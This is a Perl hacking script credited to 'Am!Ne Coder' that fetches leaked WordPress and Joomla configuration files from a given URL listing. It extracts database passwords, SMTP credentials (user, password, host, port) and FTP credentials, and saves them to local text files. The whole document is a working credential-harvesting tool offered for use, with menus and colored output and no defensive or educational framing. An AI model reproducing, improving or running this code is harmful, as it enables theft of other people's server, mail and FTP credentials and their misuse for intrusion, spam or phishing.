SMTP

#!/usr/bin/perl
# Am!Ne Coder
# https://www.facebook.com/wtf.madafack
# All From list config
# All Saved from list.txt
use LWP::UserAgent;
use HTTP::Request;
use Win32::Console::ANSI;
use Term::ANSIColor;
$ua = LWP::UserAgent->new;
$ua->timeout(10);
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
print color("bold green");
print "-------";
print color("reset");
print colored("[ Coded By Am!Ne ]","bold white on_green");
print color("reset");
print color("bold green");
print "-------";
print color("reset");
print color("bold yellow");
print "
 1/ Get password
 2/ Get SMTP info
 3/ Get ftp info
";
print color("reset");
print color("bold white");
print " # reponse : ";
print color("reset");
$choix=<stdin>;
chomp($choix);
print color("bold yellow");
print "Url Config : ";
print color("reset");
$url=<stdin>;
chomp($url);
$get = HTTP::Request->new(GET => $url);
$req = $ua->request($get);
$gets = $req->content;
while($gets =~ m/<td><a href="(.*?).txt">/g) {
	$file = $1;
	$urlconfig = "$url/$file.txt";
	$files = $ua->get($urlconfig)->content;
	if($choix eq 1) {
		password();
	}
	if($choix eq 2) {
		smtp();
	}
	if($choix eq 3) {
		ftp();
	}
	sub password {
		print color("bold yellow");
		print "Grrabing Password Please ";
		print color("reset");
		print color("bold green");
		print "WAIT\n";
		print color("reset");
		sleep(2);
		if($files =~ /'DB_PASSWORD', '(.*?)'/) {
			print color("bold green");
			print "[+] ";
			print color("reset");
			print color("bold yellow");
			print "Wordpress Website : ";
			print color("reset");
			print color("bold green");
			print "Success\n";
			print color("reset");
			open(password,">>password.txt");
			print password "$1\n";
			close(password);
		}
		sleep(2);
		if($files =~ /\$password = '(.*?)';/) {
			print color("bold green");
			print "[+] ";
			print color("reset");
			print color("bold yellow");
			print "Joomla Website : ";
			print color("reset");
			print color("bold green");
			print "Success\n";
			print color("reset");
			open(password,">>password.txt");
			print password "$1\n";
			close(password);
		} else {
			sleep(2);
			print color("bold yellow");
			print "Grrabing Password Please ";
			print color("reset");
			print color("bold green");
			print "WAIT\n";
			print color("reset");
			print color("bold red");
			print "[-] Failed\n";
			print color("reset");
		}
	}
	sub smtp {
		print color("bold yellow");
		print "Grrabing SMTP Please ";
		print color("reset");
		print color("bold green");
		print "WAIT\n";
		print color("reset");
		sleep(2);
		if($files !~ /joomla/) {
			print color("bold red");
			print "No SMTP here !\n";
			print color("reset");
			next;
		}
		sleep(2);
		if($files =~ /\$smtpauth = '0';/) {
			print color("bold red");
			print "No SMTP here !\n";
			print color("reset");
		} else {
			print color("bold green");
			print "Grrabing Success\n";
			print color("reset");
			sleep(1);
			if($files =~ /\$smtpuser = '(.*?)';/) {
				print color("bold green");
				print "user : ";
				print color("reset");
				print color("bold white");
				print "$1\n";
				print color("reset");
				$user = $1;
			}
			sleep(1);
			if($files =~ /\$smtppass = '(.*?)';/) {
				print color("bold green");
				print "pass : ";
				print color("reset");
				print color("bold white");
				print "$1\n";
				print color("reset");
				$pass = $1;
			}
			sleep(1);
			if($files =~ /\$smtphost = '(.*?)';/) {
				print color("bold green");
				print "host : ";
				print color("reset");
				print color("bold white");
				print "$1\n";
				print color("reset");
				$host = $1;
			}
			sleep(1);
			if($files =~ /\$smtpport = '(.*?)';/) {
				print color("bold green");
				print "port : ";
				print color("reset");
				print color("bold white");
				print "$1\n";
				print color("reset");
				$port = $1;
			}
			open(smtp,">>smtp.txt");
			print smtp "======================\nuser : $user \n pass = $pass\n host : $host\n port : $port\n======================\n";
			close(smtp);
		}
	}
	sub ftp {
		print color("bold yellow");
		print "Grrabing FTP Please ";
		print color("reset");
		print color("bold green");
		print "WAIT\n";
		print color("reset");
		sleep(2);
		if($files !~ /joomla/) {
			print color("bold red");
			print "No FTP here !\n";
			print color("reset");
			next;
		}
		sleep(2);
		if($files =~ /\$ftp_enable = '0';/) {
			print color("bold red");
			print "No FTP here !\n";
			print color("reset");
		} else {
			print color("bold green");
			print "Grrabing Success\n";
			print color("reset");
			sleep(1);
			if($files =~ /\$ftp_user = '(.*?)';/) {
				print color("bold green");
				print "user : ";
				print color("reset");
				print color("bold white");
				print "$1\n";
				print color("reset");
				$user = $1;
			}
			sleep(1);
			if($files =~ /\$ftp_pass = '(.*?)';/) {
				print color("bold green");
				print "pass : ";
				print color("reset");
				print color("bold white");
				print "$1\n";
				print color("reset");
				$pass = $1;
			}
			sleep(1);
			if($files =~ /\$ftp_host = '(.*?)';/) {
				print color("bold green");
				print "host : ";
				print color("reset");
				print color("bold white");
				print "$1\n";
				print color("reset");
				$host = $1;
			}
			sleep(1);
			if($files =~ /\$ftp_port = '(.*?)';/) {
				print color("bold green");
				print "port : ";
				print color("reset");
				print color("bold white");
				print "$1\n";
				print color("reset");
				$port = $1;
			}
			open(ftp,">>ftp.txt");
			print ftp "======================\nuser : $user \n pass = $pass\n host : $host\n port : $port\n======================\n";
			close(ftp);
		}
	}
}